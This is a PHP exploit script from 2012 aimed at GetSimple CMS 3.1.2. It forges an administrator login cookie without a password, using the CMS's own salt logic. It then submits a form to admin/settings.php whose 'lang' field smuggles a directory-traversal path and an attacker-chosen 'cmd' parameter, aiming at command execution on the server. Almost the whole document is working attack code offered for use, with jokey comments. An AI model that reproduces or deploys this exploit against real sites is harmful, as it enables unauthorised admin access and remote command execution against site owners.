<?php
  // --------------------------------
  // iHaiHa-vs-hosting2rce.php  
  // --------------------------------
  // 26.12.2o12
  // 
  // Specjal thanks to ihaiha team for 
  // 'point of view'. 
  // 


// cookie() grepped from GetSimple 3.1.2, THANKS! ;]
// just for 'knowing the cookie'.
function create_cookie() {
  global $USR,$SALT,$cookie_time,$cookie_name; 
  $saltUSR = $USR.$SALT;
  $saltCOOKIE = sha1($cookie_name.$SALT);
  setcookie($saltCOOKIE, sha1($saltUSR), time() + $cookie_time,'/');
  setcookie('GS_ADMIN_USERNAME', $USR, time() + $cookie_time,'/');
}


// get-IT-simple-ihaiha-kod-yeah
function getsimple_cookie(){

  // potrzebujemy:
  $authenticated = true;
  $USR = 'admin'; //$_POST['userid']; // admin?
  $ver_no_clean = '3.1.2';
  $SITEURL = '/your/GetSimple_3.1.2/admin/settings.php'; //$_POST['siteurl'];
  $SALT = sha1($SITEURL);
  $cookie_time = '7200';

  $site_full_name = 'GetSimple';
  $name_url_clean = strtolower(str_replace(' ','-',$site_full_name));
  $cookie_name = strtolower($name_url_clean) .'_cookie_'. $ver_no_clean;

  echo 'It should be interesting that we can (re)generate valid cookie<br>';
  echo 'and login without password, right? <br><br><b>Generated cookie:  ';
  echo $cookie_name . '<br></b>';
  echo '<br>Anyway: this simple code exploits vulnerability in :<br>';
  echo '<b>admin/settings.php</b>:';

  
  if( $authenticated ) {
                # YES - set the login cookie, then redirect user to secure panel 
//              create_cookie();
    setcookie('GS_ADMIN_USERNAME', $USR, time() + 3600,'/');
  
    echo '<form method="post" action="'. $SITEURL .'">';
    echo '<input type="hidden" name="username" value="' . $USR . '">';
    echo '<input type="hidden" name="pwd" value="ihaihaiha">'; // sample; as a hardcoded (wrong anyway) pass
    echo '<input type="hidden" name="lang" value="en_US/../../../../../../../../../../tmp/&cmd='.$_POST['cmd'].'">';
    echo '<br>So add come cmd: <br>';
    echo 'cmd: <input type="text" name="cmd">';
    echo '<input type="submit" value="teraz">';
  } else {
    echo 'Nope. :C';
  }



} // end of getsimple_cookie()

getsimple_cookie();